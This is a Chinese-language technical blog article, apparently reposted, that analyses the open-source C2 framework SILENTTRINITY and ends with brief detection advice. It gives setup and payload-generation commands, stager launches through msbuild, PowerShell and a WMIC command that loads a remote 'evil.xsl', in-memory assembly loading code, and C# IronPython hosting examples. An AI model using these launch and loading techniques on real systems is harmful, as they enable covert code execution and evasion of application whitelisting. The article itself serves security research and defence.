内容简介:0x00 前言SILENTTRINITY是由byt3bl33d3r开源的一款C2工具,通过C#实现,利用IronPython引擎来执行Python代码,十分值得研究。这款工具通过Python实现payload,不仅提高了效率,而且利用IronPython引擎从内存加载payload,更为隐蔽。本文将要站在技术研究的角度,分析SILENTTRINITY的原理并进行扩展,最后给出防御检测的建议。
0x00 前言
SILENTTRINITY是由byt3bl33d3r开源的一款C2工具,通过C#实现,利用IronPython引擎来执行 Python 代码,十分值得研究。这款 工具 通过Python实现payload,不仅提高了效率,而且利用IronPython引擎从内存加载payload,更为隐蔽。
本文将要站在技术研究的角度,分析SILENTTRINITY的原理并进行扩展,最后给出防御检测的建议。
地址: https://github.com/byt3bl33d3r/SILENTTRINITY
0x01 简介
本文将要介绍以下内容:
· SILENTTRINITY的简单使用
· SILENTTRINITY的实现细节
· C#利用IronPython调用Python的方法
·防御检测的建议
0x02 SILENTTRINITY的简单使用
操作方法同meterpreter相似。
1、安装
git clone https://github.com/byt3bl33d3r/SILENTTRINITY.git cd SILENTTRINITY cd Server python3 -m pip install -r requirements.txt python3 st.py
2、开启监听
listeners use http options start
3、生成payload
stagers list use msbuild generate http
4、启动方式之一
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml
0x03 SILENTTRINITY的实现细节
源码的文件结构如下:
· SILENTTRINITY,核心文件,C#开发,格式为exe
· SILENTTRINITY_DLL,内容同上,但格式为dll
·Server,控制端,包括多个Python实现的payload
SILENTTRINITY和SILENTTRINITY_DLL功能相同,只是文件格式不同,所以这里以SILENTTRINITY为例。
1、SILENTTRINITY
实现的功能可参照下图右半部分:
注:图片引用自https://github.com/byt3bl33d3r/SILENTTRINITY
详细说明如下:
(1)启动IronPython引擎,释放资源文件并导入Python环境
资源文件名:IronPython.StdLib.2.7.9.zip
压缩包内的文件为Python的默认模块。
如果安装了IronPython,压缩包的文件同默认安装路径下C:\Program Files\IronPython 2.7\Lib中的文件内容保持一致。
IronPython下载地址:
https://github.com/IronLanguages/ironpython2/releases/tag/ipy-2.7.9
(2 ) 从Server下载stage.zip
stage.zip中包含五个文件:
· IronPython.dll
· IronPython.Modules.dll
· Microsoft.Dynamic.dll
· Microsoft.Scripting.dll
· Main.py
其中,前四个为IronPython引擎的依赖文件,Main.py为主体程序,用于接收控制命令,加载payload,回传输出结果。
(2 ) 利用IronPython调用Python
后面将会详细介绍。
2、Server
作为控制端。
modules文件夹下包含所有支持的Python脚本。
stagers文件夹下包含三种启动方式:
· msbuild
· powershell
·wmic
(1)msbuild
启动方式:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml
流程:
msbuild.exe->.xml->C#
通过msbuild.exe加载msbuild.xml, 这里使用了.NET Framework 4.0中支持了的新功能"Inline Tasks",被包含在元素UsingTask中,可用来在xml文件中执行c#代码。
msbuild.xml实现了将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(C#实现)。
这个利用方法我在之前的文章有过利用分析:
(2)powershell
启动方式:
执行powershell脚本。
流程:
powershell.exe->.ps1->C#
同样是将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(Powershell实现),关键代码如下:
[Reflection.Assembly]::Load($bytes) $asm = [Reflection.Assembly]::Load($UncompressedFileBytes) $type = $asm.GetType("ST") $main = $type.GetMethod("Main")
表示加载exe中Main下的ST方法。
这个利用方法我在之前的文章有过利用分析:
《利用Assembly Load & LoadFile绕过Applocker的分析总结》
(3)wmic
启动方式:
C:\Windows\System32\wbem\WMIC.exe os get /format:"evil.xsl"
或者
C:\Windows\System32\wbem\WMIC.exe os get /format:"https://example.com/evil.xsl"
流程:
wmic.exe->.xsl->javascript
通过wmic.exe加载wmic.xsl,wmic.xsl可以放在本地,也可以放在远程服务器。
同样是将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(JavaScript实现)。
这个利用方法我在之前的文章有过利用分析:
(4)其他可供利用的方法
SILENTTRINITY未包括,此处作为扩展,例如:
·regsvr32.exe,《Code Execution of Regsvr32.exe》
· rundll32.exe, 《关于利用rundll32执行程序的分析》
0x04 C#利用IronPython调用Python的方法
需要使用IronPython,参考资料:
本节介绍一些基本用法,有助于进一步扩展SILENTTRINITY的功能。
1、常用的基本脚本
下载安装IronPython:
https://github.com/IronLanguages/ironpython2/tree/master/Src/IronPythonCompiler
开发工具: VS2015
新建C#工程,添加引用:
· IronPyhon
·Microsoft.Scripting
注:
编译后生成的exe在执行时需要以下依赖文件:
· IronPython.dll
· IronPython.Modules.dll(有的工程不需要)
· Microsoft.Dynamic.dll
· Microsoft.Scripting.dll
(1)简单的hello world程序, 调用test.py ,输出Hello World
code1:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using IronPython.Hosting; namespace IronPythonTest { class Program { static void Main(string[] args) { var engine = Python.CreateEngine(); engine.ExecuteFile("test.py"); } } }
test.py :
print("Hello World")
(2)向python脚本传参数并输出
code2:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using IronPython.Hosting; namespace IronPythonTest { class Program { static void Main(string[] args) { var engine = Python.CreateEngine(); var scope = engine.CreateScope(); scope.SetVariable("argv", "Hello World"); engine.ExecuteFile("test.py",scope); } } }
test.py :
print('%s'%argv)
(3)调用python脚本的main函数
code3:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using IronPython.Hosting; namespace IronPythonTest { class Program { static void Main(string[] args) { var engine = Python.CreateEngine(); var scope = engine.CreateScope(); engine.ExecuteFile("test.py",scope); dynamic main = scope.GetVariable("main"); main(); } } }
test.py :
def main(): print("Hello World") if __name__ == '__main__': main("")
(4)将python脚本的内容存储在变量中并执行
code4:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using IronPython.Hosting; namespace IronPythonTest { class Program { static void Main(string[] args) { string script = "print('%s'%argv)"; var engine = Python.CreateEngine(); var scope = engine.CreateScope(); scope.SetVariable("argv", "Hello World"); var sourceCode = engine.CreateScriptSourceFromString(script); sourceCode.Execute(scope); } } }
(5)python脚本支持第三方库
code5:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using IronPython.Hosting; namespace IronPythonTest { class Program { static void Main(string[] args) { var engine = Python.CreateEngine(); engine.SetSearchPaths(new[] { "Lib" }); engine.ExecuteFile("test.py"); } } }
找到IronPython的安装路径,默认为C:\Program Files\IronPython 2.7。
将其中的Lib目录复制到编译生成的IronPythonTest.exe的同级目录下。
test.py :
import os os.system("calc.exe")
2、使用ipyc将python脚本编译成exe
类似于py2exe的功能。
源码: https://github.com/IronLanguages/ironpython2/tree/master/Src/IronPythonCompiler
编译好的文件可从IronPython的目录中获得。
默认安装位置:
C:\Program Files\IronPython 2.7\ipyc.exe
0x05 防御检测
SILENTTRINITY的启动程序本身不包含恶意的功能,只是从远程服务器下载文件并利用IronPython调用Python,这是一个完全正常的功能。
启动方式上利用了Windows系统本身自带的程序(例如msbuild.exe,powershell.exe,wmic.exe,也可以扩展成regsvr32.exe或rundll32.exe),较为隐蔽。
但SILENTTRINITY需要发起网络连接,传输stage.zip和Python脚本,所以如果程序调用了IronPython并发起了网络连接,极有可能是存在风险的行为。
0x06 小结
本文分析了SILENTTRINITY的实现细节,提出了一些扩展的思路,介绍了C#利用IronPython调用Python的方法,结合SILENTTRINITY的特征,给出防御检测的建议。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- GhostButt - CVE-2017-8291利用分析
- CVE-2018-8453漏洞分析利用
- 微软漏洞CVE-2017-11885分析与利用
- 利用分析函数改写范围判断自关联查询
- 利用MAT来分析JAVA内存泄露
- 如何利用开源威胁信息分析APT团伙
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python for Data Analysis
Wes McKinney / O'Reilly Media / 2012-11-1 / USD 39.99
Finding great data analysts is difficult. Despite the explosive growth of data in industries ranging from manufacturing and retail to high technology, finance, and healthcare, learning and accessing d......一起来看看 《Python for Data Analysis》 这本书的介绍吧!
随机密码生成器
多种字符组合密码
HEX CMYK 转换工具
HEX CMYK 互转工具